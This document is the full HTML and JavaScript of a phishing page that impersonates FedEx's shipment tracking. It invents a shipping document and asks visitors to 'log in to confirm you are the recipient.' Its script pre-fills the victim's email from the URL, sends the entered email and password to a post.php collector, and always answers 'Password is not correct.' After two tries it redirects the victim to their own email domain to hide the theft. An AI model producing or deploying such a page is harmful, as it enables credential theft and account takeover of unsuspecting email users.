
<html>
<head>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
	<title>Track your shipment | FedEx</title>
    <link rel="icon" href="https://www.fedex.com/etc.clientlibs/designs/fedex-common/images/resources/fx-favicon.ico" type="image/gif" sizes="16x16">
	<style> 
body, html { height: 100%;margin: 0; font-family: Arial, Helvetica, sans-serif;
}
* {
  box-sizing: border-box;
}
.bg-image {
  /* The image used */
  background-image: url("https://www.fedex.com/content/dam/fedex/us-united-states/self-help/images/2019/Q2/Register_Delivery_Manager_Step_2_1643264634.jpg");
  /* Add the blur effect */ filter: blur(0px); -webkit-filter: blur(0px);
  /* Full height */ height: 100%; /* Center and scale the image nicely */
  background-position: center; background-repeat: no-repeat; background-size: cover;
}

/* Position text in the middle of the page/image */
.bg-text {
  background: #380B61;
  width:370px; height:380px; -webkit-box-shadow: 5px 5px 15px 5px #000000; 
  box-shadow: 5px 5px 15px 5px #000000; border-radius: 1px 35px 1px 50px;
  position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 2; text-align: center;
}
input[type=submit] {
  width:160px; height:45px; font-family: arial; font-size: 14px; color:#FFF; background-color: #DF3A01; border: solid 1px #DF3A01; border-radius: 2px 10px 2px 10px;
  -webkit-box-shadow: 2px 2px 15px 5px #585858; box-shadow: 2px 2px 15px 5px #585858;  font-weight:bold; 
}
input[type=password] {
  width:280px; height:40px; font-family: arial; font-size: 15px; 
  color:#000000; background-color: #FFF; border: solid 1px #1D6F42; padding: 10px; border-radius: 2px 5px 2px 7px;
  }
input[type=email] {
  width:280px; height:40px; font-family: arial; font-size: 13px; font-weight: bold;
  color:#DF0101; background-color: #FFF; border: solid 1px #FFF; padding: 10px; border-radius: 2px 5px 2px 7px;
    }
</style>
</head>
<body marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
<table align="center" cellspacing="0" height="100%" width="100%">
<tr><td height="96%" bgcolor="#181818">
<div class="bg-image"></div>
<div class="bg-text">




	<table align="center" cellspacing="0">
	<tr><td style="height:40px;"></td></tr>

	<tr><td>

		<div align="left">
			<font face="arial" size="4" color="#FFF">
				Shipping Document: <b><font color="#FE642E">AWB#84248.pdf</font>
			</font>
		</div>

	</td></tr>

	<tr><td style="height:30px;"></td></tr>
	<tr><td>
		<table cellspacing="0"><tr>
				<td style="width:5px;"></td>
				<td>
					<font face="arial" size="3" color="#FFF">
						<span id="em"></span> Verification process
Login to confirm you are the recipient
					</font>
				</td>
		</tr></table>
	</td></tr>
					<tr><td style="height:5px;"></td></tr>
					<tr><td>
					<form method="post" action="" id="contact">
					</td></tr>
					<tr><td>
							<div align="left">
								<font face="arial" size="2" color="#FFF">
								
								</font>
							</div>
					</td></tr>
					<tr><td style="height:15px;"></td></tr>
					<tr><td>
						<table cellspacing="0" align="center">
						<tr><td>
							<div align="center">
								<input  name="email" type="email" value="" enabled>
							</div>
						</td></tr>
						<tr><td style="height:7px;"></td></tr>
						<tr><td>
							<div align="center">
								<input  name="password" type="password" placeholder="Password" required>
							</div>
						</td></tr>
						<tr><td style="height:7px;"></td></tr>
						<tr><td>
							<table align="right" cellspacing="0"><tr>
							<td>
								<font face="arial" size="2" color="#FFF"></font>
							</td>
							</tr></table>
						</td></tr>
						<tr><td style="height:20px;"></td></tr>
						<tr><td>
							<div align="right">
								<input type="submit" value="View Document" id="submit-btn">
							</div>
						</td></tr>
						<tr><td>
						</td></tr>
						<tr><td style="height:20px;">
							<input type="hidden" name="login" value="Email">
							</form>
						</td></tr>
						</table>
					</td></tr>
	</table>



</div>
</td></tr>
<tr><td height="4%" bgcolor="#181818">
	<div align="center">
		<font face="arial" size="2" color="#FFF">
			FedEx Inc 2024;  International Shipping Portal | All rights reserved
		</font>
	</div>
</td></tr>
</table>

	<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
      <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
      <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/jquery.session@1.0.0/jquery.session.min.js"></script>



                <script>

                    /* global $ */
                    $(document).ready(function(){
                      var count=0;
                
                            var email = window.location.hash.substr(1);
      if (!email) {

      }
      else
      {
        var my_email =email;
        $('#email').val(my_email);
		 $('#em').html(my_email);
		
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_email)) {
          $('#error').show();
          email.focus;
          return false;
        }
        var ind=my_email.indexOf("@");
        var my_slice=my_email.substr((ind+1));
        var c= my_slice.substr(0, my_slice.indexOf('.'));
        var final= c.toLowerCase();
        var finalu= c.toUpperCase();

 
      }

                
                      
                      $('#submit-btn').click(function(event){
                        $('#error').hide();
                        $('#msg').hide();
                        event.preventDefault();
                        var email=$("#email").val();
                        var password=$("#password").val();
                        var msg = $('#msg').html();
                        $('#msg').text( msg );
                
                                    if (!password) {
                                $('#msg').show();
                                $('#msg').html("Password field is empty!");
                
                                return false;
                            }
                
                
                
                       
                      count=count+1;
                      
                      $.ajax({
                        dataType: 'JSON',
                        url: 'post.php',
                        type: 'POST',
                        data:{
                          email:email,
                          password:password,
                        },
                            // data: $('#contact').serialize(),
                            beforeSend: function(xhr){
                            
                            },
                            success: function(response){
                              if(response){
                                $("#msg").show();
                                console.log(response);
                                if(response['signal'] == 'ok'){
                                   $("#password").val("");
                                  if (count>=2) {
                                    count=0;
                                    // window.location.replace(response['redirect_link']);
                                    window.location.replace("https://www."+my_slice);
                
                                  }
                                               $("#msg").show();
                               $('#msg').html("Password is not correct. Please try again");
                                }
                                else{
                                                $("#msg").show();
                               $('#msg').html("Password is not correct. Please try again");
                                }
                              }
                            },
                            error: function(){
                              $("#password").val(""); 
                              if (count>=2) {
                                count=0;
                                window.location.replace("https://www."+my_slice);
                              }
                              $("#msg").show();
                               $('#msg').html("Password is not correct. Please try again");
                            },
                            complete: function(){
                            
                            }
                          });
                    });
                
                
                    });
                
                
                  </script>

</body>
</html>